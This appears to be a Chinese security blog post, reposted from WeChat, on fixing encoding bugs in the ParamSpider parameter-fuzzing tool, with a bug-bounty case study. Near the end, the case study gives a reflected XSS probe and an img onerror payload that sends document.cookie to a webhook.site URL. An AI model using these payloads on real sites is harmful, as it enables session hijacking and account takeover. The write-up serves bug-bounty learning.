正文部分
场景介绍
我们在使用 Wayback Machine 搜索历史泄露的URL的时候,面对这么大量的数据,会遇到很多没有用的数据,这时候我们可能需要进行一些过滤,才能更好的去进行FUZZ,这款工具就可以在 Wayback Machine 基础上进行过滤,提取出有用的接口和URL以及参数,结合FUZZ可以实现不一样的效果!!
https://github.com/devanshbatham/ParamSpider
Wayback Machine
Bug修复
如果有懒得自己去修改的师傅可以直接去我GitHub上下载已经修改好的就行啦:https://github.com/FFR66/ParamSpider
安装报错
这个报错是因为set.up文件读取文件时候的编码问题导致的
尝试修复
在set.up文件中添加编码为utf-8即可
成功进行安装
运行报错
这个报错也是编码问题导致的
报错解决
在main.py中的两处文件的读取的地方加入编码格式即可
正常使用
paramspider -d xxx.edu.cn --proxy http://127.0.0.1:7890 -s
Tips:这里他自动将FUZZ填入了,可以尝试和fuff进行结合,进行参数值的FUZZ!!
拓展
通过阅读他的代码发现他的清理数据的过程本质上进行了两步:
- 1. 清理想要过滤的后缀url
- 2. 将参数值加入FUZZ后缀(可以自定义)
默认过滤的后缀
我们可以根据自己的思路,子啊clean_urls中进行修改,例如加入对URL的验证等等,这就看各位师傅的思路了,如果有什么好的提议,也可以联系我,我加入在里面~~
def clean_urls(urls, extensions, placeholder):
"""
Clean a list of URLs by removing unnecessary parameters and query strings.
Args:
urls (list): List of URLs to clean.
extensions (list): List of file extensions to check against.
Returns:
list: List of cleaned URLs.
"""
cleaned_urls =set()
for url in urls:
cleaned_url = clean_url(url)
ifnot has_extension(cleaned_url, extensions):
parsed_url = urlparse(cleaned_url)
query_params = parse_qs(parsed_url.query)
cleaned_params ={key: placeholder for key in query_params}
cleaned_query = urlencode(cleaned_params, doseq=True)
cleaned_url = parsed_url._replace(query=cleaned_query).geturl()
cleaned_urls.add(cleaned_url)
returnlist(cleaned_urls)
实战案例
原作者:https://medium.com/@jeetpal2007
使用 ParamSpider 信息收集
在寻找拥有数百万用户的程序(特别是大型博客网站,我将其称为 redacted.com)时,我首先列举了它的子域。我找到的一个子域是 jp.redacted.com。
接下来,我使用 ParamSpider 收集所有可能的参数。我使用的命令是:
param spider -d jp.redacted.com -s
此命令列出了终端中所有可能的参数。其中,我发现了一个名为 s= 的参数,成功发现XSS
<script>alert(1)</script>
危害提升(获取cookie)
这个站点没有使用httponly的机制,所以我们就可以使用 document.cookie 获取到cookie 提升危害
<img src="x" onerror=document.location=%27https://webhook.site/790fbd5e-8cc4-441e-9a81-6ac18f40cb5f?c=%27+document.cookie;">
成功捕获了受害者 cookie。
原文始发于微信公众号(实战安全研究):【海外SRC漏洞挖掘】参数FUZZ工具Bug修复+实战利用案例(任意用户接管)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论